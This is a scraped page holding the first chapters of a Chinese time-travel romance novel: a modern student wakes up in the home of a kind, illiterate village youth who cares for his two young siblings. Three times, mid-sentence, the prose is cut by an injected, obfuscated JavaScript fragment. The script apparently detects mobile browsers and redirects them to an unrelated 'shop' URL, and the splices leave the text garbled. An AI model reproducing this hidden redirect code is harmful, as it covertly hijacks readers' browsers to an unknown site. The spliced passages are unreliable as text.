《文盲丈夫又自卑了》 1. 天降“仙女” 乡间十月,伴随着一阵又一阵鸡鸣,李家村的农户们渐渐从睡梦中清醒。 懒怠些的人透过窗子瞧瞧天色便又缩进被子里睡了,大多数都还是早早就起床开始了一天的忙碌。 李玉棠从床上坐起,看了看里边两个睡得脸蛋红扑扑的小孩,给他俩掖好被角后轻手轻脚下了床。 父母不在了,弟弟妹妹年纪尚小,李玉棠怕他俩单独睡觉会踢被子着凉,就让俩人和他一块睡东屋。 等明年开春后,天气暖和了,就该把西屋收拾出来让他俩去那边住了。 晨起先去灶房烧火。 灶下灰堆得多了,李玉棠用木铲把灰一点一点铲到撮箕里,这些灰倒在菜地里对地好。门前有早起上山的人经过,俩人招呼一声,又各自去忙了。 从菜地回来,李玉棠手里多了一颗菘菜和几根蒜苗。菜先暂且放着,等洗漱过后再扒开清洗。发现灶前柴不多了,李玉棠又去柴房抱了一捆过来,心里想着等吃过朝食得再上山砍些柴。多囤点柴、制些炭才好安安心心过冬。 不一会,劈里啪啦的声音响起,火烧着了。 李玉棠往锅里添了几瓢水,烧热后用来洗脸漱口。才刚刚十月,还不是太冷,他自己可以将就着用冷水,但是弟弟妹妹年纪小,受不住。 后院的鸡咯咯咯叫个不停,李玉棠把锅盖好,舀了一瓢野豌豆去喂鸡。 自从上次大伯家的鸡被黄鼠狼偷了一只后,村里养鸡的人家都在入睡前把鸡鸭赶进笼子里,第二天一早再放出来,李玉棠家也是如此。 一共才养了八只鸡,一只公鸡打鸣,七只母鸡下蛋,可不能白白被黄鼠狼叼了去。 今早只摸到六个鸡蛋,不知是哪只母鸡懈怠,才十月就不下蛋了,赶明儿弟弟妹妹过生日宰了吃。 将鸡蛋妥帖放进蛋筐里,锅里的水也热了,洗漱一番后,李玉棠开始准备朝食要吃的东西。 面是昨天揉的,一个晚上就发酵好了。将大面团简单揉几下,再分成一个个小面团。 揉面、擀面,这些他曾经不会的活计,现如今已经做得很好了。 猪肉是也昨晚剁好的,和洗净切碎的菘菜混在一起,再加些盐、姜、蒜,拌匀后菘菜猪肉馅儿就好了。 这次的包子馅是妹妹小眠儿想吃的。 昨天问弟弟小宁儿想吃什么的时候,小宁儿搂着妹妹说就吃妹妹想吃的。 想起小宁儿那副傻乎乎的样子,李玉棠手上包着包子,嘴角勾起一个浅浅的笑。 那么小的年纪就知道让着妹妹了。 花了两刻钟包了二十个包子,这些就够他们仨吃四顿了。李玉棠做的包子个头大,他自己一顿吃三个。小眠儿和小宁儿一人吃一个就饱了,小小的肚皮里装不下太多东西。 家里三个蒸屉,今儿都要用上。李玉棠拿出三块笼布,一一打湿后铺在蒸屉上。二十个包子挨个在蒸屉上摆好,就可以开始烧大火了。 洗脸水已经热了,靠灶里的余温就可以暖很久,不用再浪费柴。李玉棠把烧着的柴抽出来放到另一个灶孔里,这样就不用另擦点火石,往灶孔了多塞些柴,大火才好蒸包子。 捯饬好这些,李玉棠烤了会火后去蛋筐里拿了两个鸡蛋出来。 小眠儿和小宁儿年纪还小,李玉棠隔两天就会做一次鸡蛋羹给他俩补补。 鸡蛋磕进碗里,放一点盐,再加适量水,搅匀后暂且放着,等包子蒸个约莫一盏茶的功夫后,把蛋碗放进去搁一块,再等个一盏茶的时间,包子和鸡蛋羹就都熟了。 刚开始学做鸡蛋羹的时候,李玉棠把握不好水量和时辰,鸡蛋经常蒸老,有时也会忘记放盐。口感虽然不是很好,但小眠儿和小宁儿总是乐呵呵地吃个精光,还不忘夸哥哥厉害。 吃一堑,长一智。做的次数多了,有了足够的经验,蒸鸡蛋对李玉棠来说已经不算难事了。 等朝食熟的这会时间,他去把猪喂了。 家里养了两头母猪,一头叫胖胖,是小眠儿起的名。另一头叫二胖,是小宁儿起的。俩人知道猪肉好吃,时不时就问起猪猪长得如何了。久而久之胖胖、二胖这两个名字就叫开了。 再过两天就要去大伯家把种猪赶过来给胖胖配种,等明年生猪崽了卖掉换钱。 二胖得养到腊月,到时候有收猪匠来村里收猪。卖掉二胖的钱用来置办年货,三个人就能过个热闹年。 “胖胖,二胖,吃饭了。”李玉棠学着弟弟妹妹对两头猪的称呼把还在呼呼睡着的猪叫醒。 猪草倒进槽里后,两头肥胖的母猪拱拱鼻子,哼叫着从地上爬了起来。 李玉棠家养猪和村里其他人家一样,有猪草的时候喂猪草,冬天没猪草的时候就煮猪食。不管怎样,养猪是一件大事,太瘦的猪卖不了几个钱。 简单把猪圈周围打扫一下,不然太埋汰。松针也挂了有一整子,取下来换上新的挂上。 喂完了猪,李玉棠洗过手去看包子蒸得怎么样。 掀开盖帘,浓郁的面香、肉香扑面而来,他掰开一个看了看,熟了。鸡蛋羹也好了,看起来滑嫩嫩的。 撤了灶孔里的火,李玉棠把还在燃着的柴埋进灰里,待木柴熄灭后再塞进一旁的小土炕中,密封严实,用不了多久未燃尽的柴就成了炭。 村里人很少有去花大价钱买炭烧的,基本上都是自家做一些,冬天烤火的时候就不用另废柴火。 时间也不早了,李玉棠去叫弟弟妹妹起床吃饭。 * “吱呀” 推开房门,映入眼帘的是隆起的三个被子包。 李玉棠怀疑自己眼花了。他不可置信地揉了揉眼,定睛一看——还是三个被子包。 ...... 李玉棠清楚地记得他起床之后床上就只剩弟弟和妹妹两个人,而现在,有三个。大的那个还躺在他平常睡觉的那块地方,只露了半个脑袋出来,看样子是个人,不是什么妖怪。 以防万一,他从门口拿了一根木棍握在手里。担心吵醒床上那位不速之客,李玉棠刻意放轻了手脚。 他屏住呼吸,缓缓掀开被子的一角,握着木棍的那只手用力得关节都在泛白。 随着被子的掀起,一张恬静的睡颜出现在他眼前。 ......不速之客居然是个仙女。 小时候家里穷,李玉棠没有上过学堂。等到家里有积蓄可以供他念书的时候,父母又意外去世了。没踏进过学堂一步的他,只会写自己和弟弟妹妹的名字,其他的字几乎都不认得。 李玉棠不知道该如何来形容眼前的这个姑娘,在他看到这么一张陌生却又俊秀的面庞时,首先想到的就是仙女。 画上的仙女就长这个样。 他白净的脸上泛起两团红晕,呼吸都重了几分,胸腔里似有什么东西在猛烈冲撞。 门外响起几声狗叫,打扰了此刻的宁静,熟睡中的人眼皮颤了颤,看样子是要醒了。 晕乎乎的李玉棠还呆立在床前,双手双脚连同脑子似乎都被冻住了。 * 明天就要去学校了,准大一生岳梨早早就上了床,在对大学的无限期待中坠入了梦乡。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144258|196356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >然而,没睡多久她就醒了,身边似乎有一双眼睛在直勾勾地盯着她,怪瘆人的。 睁开眼睛,一个高大的男人杵在她床边,手里还握着一根棍子! “啊!!!” 三魂七魄被吓掉了一半,岳梨腾地一下从床上弹起,挣扎着向后躲,却又不知拍着了什么有温度的、软乎乎的东西。她一张脸煞白,僵硬着脖子向后看,不曾想里面居然还睡了两个小孩,她的手掌此时正按在其中一个的脸上。熟睡的小孩被吵醒,哼哼唧唧地哭了两声。 “啊!!!” 岳梨吓得连忙收回手,往前跑不是往后躲也不是,她颤抖着声音问:“你,你是谁啊,在我,在我家干什么。” 女人惊恐的声音把李玉棠的神思拉回现实,他看了看这个陌生的仙女,又看了看床里边被吵醒的妹妹。 “要不你先下来,我小妹要醒了。”李玉棠指了指岳梨身后。意识到自己手里还握着根棍子后,他连忙放下,讪讪地笑了一下。 眼看身旁的小孩哭声越来越大,眼睛虽然还闭嘴,嘴已经慢慢张开,脸蛋子上的肉都跟着一抖一抖的,岳梨连忙从床上下来。她这才发现自己不是睡在家中,而是在一个简陋的木屋子里。 意识到自己处境不妙,岳梨趁男子去查看他妹妹,迅速把地上那根木棍捡了起来,紧紧握在手里。 “呜呜呜呜,哥哥,我,我梦到有坏人打我,呜呜呜...”小眠儿迷糊着眼睛哭,胖乎乎的小手在脸上摸了摸,有点痛痛的,“哥哥,我脸痛,呜呜呜...” “没事了没事了,没有坏人,哥哥在呢。” 李玉棠把小眠儿抱在怀里,摸着她的小脑袋安慰。 最里边的小宁儿也醒了,从被窝里爬出来摇摇晃晃地去找妹妹,“妹妹,别哭,吃包子,吃包子就不哭了。”说着把自己的拳头往小眠儿嘴里塞。 李玉棠:...... 岳梨:...... * 一刻钟后,李玉棠让洗漱好的弟弟妹妹在饭桌旁坐下。 他拿出四只碗,各捡了一个包子放进去,又把蛋羹摆在小眠儿和小宁儿面前。 “要不先吃点东西吧。”李玉棠对站在门边的岳梨说,“朝食做多了,我们一顿也吃不完。” 没有提他刚刚听到岳梨的肚子咕噜噜叫了几声。 岳梨旁观了这个男人给弟弟妹妹穿衣洗脸,从头到尾都一副温温柔柔从从容容的样子。 看样子,不像个坏人? 而且,他长得好帅啊,简直就是傅粉何郎。个子也很高,不知道有没有一米九。 小眠儿见漂亮姐姐呆呆的样子,从凳子上跳下来,走过去牵起她的手,嗓音甜甜地说:“姐姐,吃包子,我哥哥做的包子可好吃了。” 完全不知道刚刚“打”她脸的人就是这个漂亮姐姐。 小宁儿也凑过去,拿走岳梨手里的木棍放在灶前。 岳梨被小眠儿带到饭桌前坐下,包子的香气直往她鼻子里钻。 事已至此,先吃饭吧。 看着俩小孩大口大口吃得香喷喷的样子,岳梨也拿起自己面前的包子咬了一口。 一口爆汁,鲜香四溢。 “好吃!”她朝对面的男人比了个大拇指。 李玉棠没看懂她这个手势是什么意思,却发现她的手指被冻得有些发红。 “你们先吃着。”说罢,他起身去把火又烧了起来,还往锅里添了些水。 三个人都安安静静地吃着包子,李玉棠脸上露出一个浅浅的笑,往东屋去了。 2. “仙女”不是本地人 饭桌上,岳梨和小眠儿互相打量。小宁儿捧着包子吃得嘴角油油的,两条短短的小腿开心地晃着,一副没心没肺的样子。 小眠儿:“漂亮姐姐,你是仙女吗?” 岳梨:“......我不是仙女。” 小眠儿摇摇脑袋表示不相信,“可是你说话和我们不一样。” 岳梨这才意识到,虽然没有沟通障碍,但是自己的口音和他们完全不一样,就像是一个东北人到了南方。 也不知道这是个什么地方,自己又是怎么到的这里。明天就要去学校报到了,希望能早点回去,不要错过高铁。 岳梨略过这个话题,问:“你叫什么名字呀,小妹妹?” “我叫李玉眠,他叫李玉宁。”小眠儿指了指着正在吃鸡蛋羹的小宁儿,又说:“我哥哥叫李玉棠。姐姐,你叫什么名字呀?” “我叫岳梨”岳梨道,“那你们住的这个地方叫什么呀?” “叫李家村。”小眠儿舀起一勺蛋羹往岳梨那边递,“姐姐你吃鸡蛋吗?第一口给你吃。” 岳梨简直要被这个眼睛大大脸蛋圆圆的小女孩萌出鼻血。 她摇摇头,声音放得更软:“姐姐不吃,宝宝你自己吃。” 看着俩小孩乖乖吃饭,岳梨把所有事情在脑海里梳理了一遍。 昨晚上她很早就睡了,睡前一切正常,彗星并没有撞地球,也没看见UFO。 睡醒就发现自己突然到了这个地方,目前接触到的三个人衣服打扮很奇怪,像是古装电视剧里面平头老百姓的穿着。 那个男人,准确地说是一个少年,和这俩小孩都神情自然,不像是谁为了捉弄她请的演员。 更何况没有人会在她要去上大学的这个节骨眼捉弄她。 难不成,是穿越了?这么简单就穿越了?都不需要掉进湖里或者被车撞一下? 身边没个有穿越经历的,岳梨没办法向别人取经。 意识到自己可能真的冷不丁穿越到了古代,岳梨打了个寒颤。 “是不是有些冷?” 背后突然响起男人的声音,岳梨被吓了一跳。 “咳咳,还,还好。” 发觉自己吓到了对方,李玉棠脚步顿住,心中一阵懊恼,柔声问道:“没事吧?我看你穿着单薄,给你找了件衣服。” 岳梨穿着一套短袖睡衣,冷风一吹,胳膊上就起了一层鸡皮疙瘩。 真体贴呀。 李玉棠在岳梨心中的印象更好了,又帅又体贴。 “先擦擦手吧。”李玉棠递了一张手帕过去,补充道:“手帕是新的。” 岳梨擦干净手,接过李玉棠递来的衣裳。粗布衣裳,很干净,有淡淡的皂角香。 把衣裳裹紧,岳梨的目光随着李玉棠移动。 只见男人掀开锅盖试了试水温,似是觉得合适了,将锅盖在一旁放好,找出一个木盆,一边往里舀水一边说:“这是我小妹洗脚的盆,你先将就用,洗过脚了把鞋穿上。” 岳梨低头看了一眼自己光着的脚,脚背红红的,脚底板脏脏的。她不好意思地把脚底板并拢,来回搓了搓。 再一次感叹这个男人的细心。 小眠儿和小宁儿已经吃完了朝食,两人一起把桌上的碗收拾好,踮起脚放在灶台上。又让哥哥舀了些热水,俩人拿出各自的刷牙子蹲在门口仔仔细细刷了牙。 将刷牙子放好,小眠儿看了看哥哥,又看了看缩成一团的漂亮姐姐,拉着小宁儿走了。 * “哥哥忘记给姐姐拿足衣了,宁宁,你把你的足衣都找出来,我们选一个最好看的给姐姐穿。” “好。”接收到妹妹传达的任务,小宁儿立马行动。 俩人在柜子里翻找,将自己的足衣都找出来放在床上摆着。 “唔,我觉得姐姐应该会喜欢这个有小花花的。”小眠儿指着一双绣了朵花的足衣道。 “那姐姐肯定会喜欢的。”小宁儿毫不迟疑地点头。 “可是你这个有小鱼的也好看。”小眠儿纠结。 “我也觉得很好看。”小宁儿赞同道。 “那让姐姐穿哪一个呢。”小眠儿摇摆不定。 “那让姐姐穿哪一个呢。”小宁儿摸着脑袋问。 “我知道了!姐姐这只脚脚穿小花花的。”小眠儿指指自己的左脚。 “这只脚脚穿小鱼的。”她又指指自己的右脚。 “妹妹你真聪明。”小宁儿嘿嘿笑。 俩人做好决定,将其他的塞回柜子里,一人拿着一只足衣去找漂亮姐姐。 * 李玉棠端着水盆放在岳梨面前,“洗吧,其他事情一会再说。” 家里突然多了一个陌生人,李玉棠心里也很疑惑,但是让人家饿着肚子挨着冻接受“盘问”的事情他做不到。 他在岳梨对面坐下,微微垂着头。 岳梨把脚伸进热水里,舒服得一激灵。两只脚来回搓搓,水波随之晃动。 一人默默地洗脚,一人安静地坐着。不经意间,视线相撞,两人都难为情地别开了脑袋。 “你,你先吃饭吧,都要,要凉了。”岳梨磕磕巴巴地说。 “哦,好,好。” 李玉棠拿起自己的包子,快速却不失优雅地吃了起来。 想起她似乎只吃了一个,李玉棠咽下一口包子,问:“锅里还有,你要不要再吃几个?” 岳梨确实没有吃饱,她不好意思地挠挠脸,“那就再给我一个吧。” 李玉棠会心一笑,起身拿了一个给她。 有件事情干,氛围似乎没那么紧张了。 吃过朝食,李玉棠去洗碗。岳梨裹着他的衣裳,穿着他的鞋子坐在灶前。 这里暖和,他说。 * “姐姐,足衣,给你穿。” 小眠儿和小宁儿把自己精挑细选的足衣举到岳梨面前。 岳梨:...... 岳梨看着面前那两只还没有她手掌长的,额,应该是袜子,又瞅瞅俩小孩天真的笑容,实在是不知道该如何拒绝。 “小眠儿,你和小宁儿去把床底的火盘搬出来。足衣放回去,你俩的太小,姐姐穿不了。”李玉棠收拾着灶台,对弟弟妹妹说。 现在还不到需要烧炭取暖的时候,但见她还有些冷,李玉棠决定先把炭烧起来。 “哥哥笨笨,没有给姐姐拿足衣穿。” “笨笨。” “好好,笨笨,一会给姐姐拿哥哥的穿。”李玉棠说。 “可是哥哥的足衣丑丑的,都没有花。”小眠儿捏着自己的足衣,向岳梨展示上面的小花花。 “丑丑的,没有鱼。”小宁儿也捏着自己的足衣,向岳梨展示上的鱼。 这两双足衣都是大伯娘做的,为了哄俩小孩开心,她多费了些时间绣了花和鱼上去。一般人家做衣裳足衣这些都不会在上面刺绣,既费时间也费针线。 “没关系没关系,我不在意这些。”岳梨摆摆手,接过两只足衣仔细看了看,“呀,真漂亮呀。” “嘿嘿。”小眠儿绞着手指笑。 “嘿嘿。”小宁儿也笑。 岳梨把足衣还给他们,俩小孩蹦蹦跳跳地端火盘了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144259|196356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> * 四人围坐在火盘旁,一时无言。 小眠儿的脑子在哥哥和漂亮姐姐之间来回转,搞不懂他们在干什么。 火盘里的炭缓缓燃烧着,偶尔发出一点噼啪声。 “小眠儿,小宁儿,你俩先去院子里玩。”李玉棠率先开口。 “哦,好哦。”小眠儿拉着小宁儿的手走了。 李玉棠踌躇着开口:“你不是我们本地的吧?” 她的穿着他从来没见过,据说有些地方的人穿着比较奇特,所有他猜测她可能来自异域。 岳梨心想,岂止不是本地,她和他们压根就不是一个世界的。 “额,怎么说呢,我来自一个很遥远的地方,你应该没有听过。” 李玉棠不解地看着她。 岳梨花了半个小时给他解释自己来自二十一世纪,是一个准大学生,晚上睡得好好的不知道怎么就到了这里。 李玉棠听得似懂非懂,只知道她人生地不熟,现在唯一能依靠的就是自己。 “哎,不知道什么时候能回去,我还得去上学呢。”岳梨撑着脑袋叹气。 虽然不知道她口中的“大学”是哪个学堂,但想必是很厉害的。 李玉棠心里有一丝难堪的情绪蔓延。 他从来没有上过学,她应该会看不起他吧。 “喂,喂!你怎么了?”岳梨伸手在李玉棠面前挥挥,“你还在听吗?” 李玉棠回神,嘴角扯起一个有些勉强的笑,“不好意思,你刚刚说什么?” “我说我叫岳梨,岳阳楼的岳,梨花的梨。” 李玉棠不知道岳阳楼是什么楼,但他知道梨花很漂亮。 她也很漂亮,和她的名字一样。 “我叫李玉棠,玉佩的玉,海.棠花的棠。” 李玉棠的名字是隔壁村的老秀才起的,当初老秀才教了他父母这几个字怎么写,后来父母又教给了他。 “嘿,咱俩名字里都有花,真有缘呐。”岳梨冲李玉棠露出一个灿烂的笑。 李玉棠心跳都漏掉了半拍,他偏过脑袋,强装整定,“既然暂时回不去,你就先在我家住下吧。” 他简单介绍了一下自己家的情况。父母三年前意外去世,现在家里就十七岁的他和不到五岁的弟弟妹妹。 李玉棠没有细说父母是怎么去世的,岳梨也没有问,想必是他内心的一道伤疤。十几岁的年纪就拉扯弟弟妹妹长大,真不容易。岳梨看他的眼神又多了几分敬佩和同情。 * 小眠儿和小宁儿在后院看鸡,对那只大公鸡的五彩长尾巴虎视眈眈。 大公鸡会啄人,小宁儿有点害怕,但是看着妹妹双眼亮晶晶的样子,还是握着根竹条小心翼翼地向正在地面啄食的公鸡靠近。 哥哥怕他俩被鸡啄,平常都不让他俩到后院来,现在是个难得的好机会。 小宁儿迈着圆圆胖胖的脚,一步一步走得很慢。空着的那只手已经向前张开,只待拔下一根尾巴毛就立刻跑掉。 “咯咯咯!”大公鸡很警觉,察觉到有人靠近后,猛地冲了过来。 “啊!”小宁儿被吓了一大跳,扔了竹条抱着脑袋就跑。他担心公鸡会啄到妹妹,没有往小眠儿那边去,只扑腾着两条短腿绕着后院像个无头苍蝇一样乱转。 小眠儿见小宁儿被鸡撵,捡起竹条就追了上去,一边挥舞竹条一边大喊:“不准咬宁宁!不准咬!我要打你,打你!” 其他几只母鸡被惊得咯咯咯叫着四处窜,猪圈里的胖胖和二胖也开始哼哼叫。一时间后院人叫、鸡鸣、猪哼唧,乱作一团。 3. 为她谋划 自家做的炭虽然没有外面卖的好,烧起来却也不差,不知是不是烤得暖了,屋里的两人脸都有些红。 突然,后院传来小孩的大叫,打破了两人之间略微有些尴尬的氛围。李玉棠让岳梨继续烤火,他起身去后院查看发生了什么。 岳梨目送他离开后抱着双臂发呆,炭火在她明亮的眼里闪耀。 岳梨是个很活泼开朗的人,从小在父母的宠爱下长大。弟弟出生后,父母对她的爱也没有减少过半分,反倒是世界上又多了一个爱她的人。 她的家境虽谈不上富有,却也过得有滋有味,长到十八岁一直都是顺风顺水的,没想到头一次让她遇着麻烦就是穿越这等大事。 哎,虽然这个男人,长得眉清目秀,很是养眼,又超级温柔,咳咳。可是,明天就要去学校报到了啊。 高中老师都说大学可自由可精彩了,即便网上不少大学生控诉那些是他们为了让苦.逼高中生好好读书糊弄人的假话,但岳梨对大学生活还是充满期待。毕竟父母从来没有在学业上给过她任何压力,两人对她唯一的要求就是过得要舒心。没有去报到,也不知道学校会不会保留她的学籍。 都怪这穿越太突然,也没让她有机会留下个纸条什么的,不知道爸妈和老弟得担心成啥样。 算了算了,先别想这么多,既来之则安之。 岳梨晃晃脑袋,也起身去看看俩小孩咋了。 * 李玉棠到后院的时候,就看见小宁儿惨兮兮地趴在地上呜呜哭,露出来的半张小脸粘着泥巴,自家那只威猛的大公鸡在他身上跳来跳去。小眠儿在一旁急得跺脚,一巴掌呼在公鸡脑袋上,它又改变攻击目标对着小眠儿啄去。 李玉棠:“......小眠儿,小宁儿。” 听见哥哥的声音,小眠儿把还在地上哭的小宁儿拉起来,啊啊叫着朝哥哥扑去。 李玉棠把弟弟妹妹搂在怀里,朝他们身后的公鸡踹了两脚。公鸡见打不过,一溜烟跑了。 “怎么到后院来了?不听哥哥的话是不是?”李玉棠蹲下身给花猫似的弟弟擦脸。 小眠儿一边给小宁儿拍身上的土一边说:“哥哥,我想要那个好看的尾巴毛。” “等着,哥哥去拔。” 岳梨寻声而来的时候,就看见白白净净谪仙一样的李玉棠在撵鸡。 ......没想到这人撵鸡的样子也很帅。 “今天要杀鸡吗?”岳梨低头问两个一眨不眨盯着哥哥看的小胖孩。 “不是的哟,哥哥在给我们拔尾巴毛。”小眠儿抬头看漂亮姐姐,抬手抓住她的衣角,问:“姐姐你想吃肉肉吗?” “倒也没有。” 暂居在别人家,怎么好意思提吃什么,当然是主人家做啥她吃啥了。 “姐姐以后就住在我们家了吗?”小眠儿又问。 “是的呢,你们会讨厌姐姐吗?”岳梨抓住女孩儿的手,轻轻捏了捏,肉乎乎的。 “不会哦,姐姐很漂亮,我们都喜欢漂亮姐姐。”小眠儿抱着岳梨的腰嘿嘿笑,露出一个小酒窝。 小宁儿也粘过来,在岳梨的衣服上蹭蹭脸。 岳梨见小男孩没有流鼻涕,就任由他小狗似的在自己身上蹭了。 李玉棠拔了三根尾巴毛仔细清洗干净,拿帕子擦干后一根给小眠儿,一根给小宁儿。 他把另一根拿在手里,问岳梨:“你要不要玩?” 许是觉得一根鸡毛太过低廉,他扯扯嘴角,露出一个不好意思的羞涩笑容。 岳梨心跳得很快,“哦哦,要,要玩的,我第一次见这么好看的鸡毛。” 她伸手去拿,俩人的指尖不慎碰在一起,又如触电般弹开。 “哥哥,你生病了吗?脸红红的。”小眠儿指着李玉棠问。 “姐姐的脸也红红的,像糖葫芦。”小宁儿说。 “咳咳,没有,姐姐和你们哥哥都没有生病。”岳梨从李玉棠手里抽出那根鸡毛,拉着俩小孩走了,“走,和姐姐去玩。” 李玉棠摸摸鼻子,没有说什么。 他往火盘里添了几颗炭,看了一眼在堂屋追逐着挥舞鸡毛的三人,笑着去了东屋一趟。 家里有十八两并七钱的积蓄,都压在衣柜底下。李玉棠拿了一两出来,心里盘算了一会,又多拿出来三钱。 “你们就在家里玩,我去镇上一趟,在我回来前别出门,也不要给其他人开门。”李玉棠背上背篓,对玩闹的三人说。 家里突然多了一个女人,这件事是瞒不了多久的,要怎么解释她的身份是个难题。也不能将岳梨来自另一个世界的事情说出去,不然她恐怕会被有心之人当成妖物。他俩谈话的时候专门支走小眠儿和小宁儿也是李玉棠担心弟弟妹妹年纪小,不小心在外人面前说漏嘴。 “你要去买东西吗?”岳梨问,手上的鸡毛还在挠小眠儿脖子。 “嗯,给你买两身衣裳鞋子。你看看还有什么需要的都告诉我,我一并买回来。” 岳梨想了想,没什么额外的东西需要买,指不定哪天就穿回去了,买太多东西到时候也带不走。 她把手上的银镯子拿下来给李玉棠,这是现在她身上唯一值钱的东西了,“这个镯子,你拿去卖了吧,卖掉的钱就当我这段时间住在你家的租钱。” 暂时也不知道自己能干些什么赚钱,住在人家里总不能白吃白喝吧,岳梨不是那种厚脸皮的人,心里想着卖掉这个旧镯子等回去了让爸妈再给自己买个新的。 银镯子很精致,堂哥花大价钱给大伯娘买的那个都没有这么亮眼,比李玉棠见过的所有镯子都好看。 看着岳梨毫不在意的神情,李玉棠想她家里应该很富有。 “不用了,家里有钱,买些衣裳也花不了几个铜板,镯子你自己留着吧。”李玉棠没有接,对岳梨笑笑就走了,顺带关上了院门。 “你哥可真大方,是个好人呐。”岳梨对拿着鸡毛挠她肚子的小眠儿说。 “嘿嘿,我哥哥可好了,大伯、大伯娘还有舅舅,这么多...”小眠儿示意岳梨看她的五根手指,“这么多的人都夸他。”胖胖的小手夸张地张开,小小的胸脯也高高挺起,一副与有荣焉的模样。 “嘿嘿,哥哥可好了,都夸他。”小宁儿拿着鸡毛挠岳梨手心,也跟着妹妹伸出小手。 * “玉棠,你这是上哪里去?” 路过大伯家门口的时候,大伯娘何金夏正在扫院子,看见侄儿背着背篓行色匆匆的模样,连忙喊住了他。 “大伯娘,我去镇上买点东西。”李玉棠道。 “瞧你一副心事重重的样子,遇着什么事了?”何金夏放下扫帚从院子里走出来,瞧着侄儿的神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144260|196356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色,有点担心,看了看四周没人又轻声问:“是不是缺钱用了?我给你拿点先用着。” 李玉棠摆摆手,连忙道:“不是不是,您别担心,我手头上钱够用。也没遇着什么事,就是小眠儿和小宁儿想吃糖葫芦,我怕吃坏牙,没答应买,他俩刚刚跟我哭闹呢。” “这俩小崽子。”既然没啥事,何金夏就不担心了,她笑着拍拍李玉棠肩膀,“那成,你回来的时候记得喊一声,昨晚上你大哥送了好些烤鸡过来,你带一只回去吃。” “好,谢谢大伯娘,大哥回镇上去了吗?”李玉棠问。 “去了,昨天送完东西就走了。他说这几天忙着学那个,那个什么四书还是五经的,我也不懂,只知道他最近忙得很。” “成,那我先走了。”和大伯娘寒暄完,李玉棠又上路了。 今天不是赶场的日子,路上一辆驴车都没有。 李玉棠独自走着,心里盘算如何解决岳梨的事情。 对了,大堂哥! 说起李玉棠这个大堂哥,可不是个简单人物。 十八年前,大伯和大伯娘在山上砍柴,隐约听到一阵小孩的哭声。 夫妇俩顺着声音找过去,发现个约莫一两岁的小男孩躲在一块石头后面哭。两人见小男孩穿着富贵,猜测他是大户人家的孩子,就是不知道遭遇了什么才流落到这荒山野岭。 李玉棠的大伯和大伯娘都是面善之人,小男孩看见他俩,呜咽着伸出胳膊要抱。当时大伯和大伯娘成婚已有五年,却一直没有孩子。何金夏瞧着小男孩心里喜欢的紧,但她也知道这是别人家的孩子,当务之急是帮他找到家人。 夫妇俩柴也不砍了,当即带着小男孩下山去官府报案。然而一个月过去了,一直都没有人来寻亲。 当时小男孩被官府安置在育婴堂里,夫妇俩每次去看他的时候小男孩都抱着他俩哭。夫妇俩于心不忍,向官府申请了收养小男孩,育婴会在对夫妇俩进行审核后发放了许可。 就这样,大伯和大伯娘俩人领着小男孩回了家,取名李玉山。 就在两年前,李玉山的亲人突然找来了李家村。原来李玉山原名陆铮,是京城陆家的嫡长孙,当年陆家嫡子在外领兵打仗,嫡妇被害,不到两岁的陆铮“意外”被拐卖。陆家当时一片混乱,不知是不是有人从中作梗,一直没人去寻他,也没人知道他是怎么到的李家村。 直到一年后陆家嫡子凯旋,知道家中发生的一切后暴怒不已,惩治了很多人。不幸的是知情人早已被神不知鬼不觉地处理掉了,流落在外的陆家嫡长孙一直在十多年后才被找到。 当时十八岁的李玉山正在田里插秧,因为几乎一摸一样的长相,陆家嫡子一眼就认出他是自己失散多年的儿子。 和李家人确认过捡到李玉山时的细节后,陆家人当即就决定带李玉山回京城陆家认祖归宗。 后来的一些事情李玉棠也不清楚,只知道大堂哥没有去京城,现在在镇上住着,也经常回来看大伯和大伯娘,农忙的时候也会回来帮忙,没有因为富贵了就忘了自己的养父养母。 或许可以去问问大堂哥有没有办法给岳梨办个户籍,只是今天出门没带那么多银子,还得给岳梨买衣裳,看来只能下次再去找大堂哥问问了。 李玉棠暗暗盘算着,虽然不知以后会如何,但是当下他想尽力做到最好。 4. 娘子啊~娃娃啊~ 花了半个时辰走到镇上,李玉棠先去了成衣铺。 爹娘不在后,李玉棠和弟弟妹妹的衣裳都是他买了布匹找大伯娘做出来的。 最开始他也尝试过自己动手。 把娘做绣活用的物什一样样找出来,回忆她从前做衣裳的样子,左手拿布,右手拿着剪子,然后......李玉棠就着这个姿势发呆了一刻钟。 不小心摔倒的小眠儿膝盖痛得起不来,趴在地上喊了两声哥哥都没有得到回应,她见哥哥一动不动以为他也要死掉了,和爹娘当初一样,怎么喊都没有反应。 崩溃不已的小眠儿哭着对小宁儿说哥哥也要被埋进土里再也见不到了,什么都不知道的小宁儿见妹妹哭得伤心也跟着哇哇哭了起来。 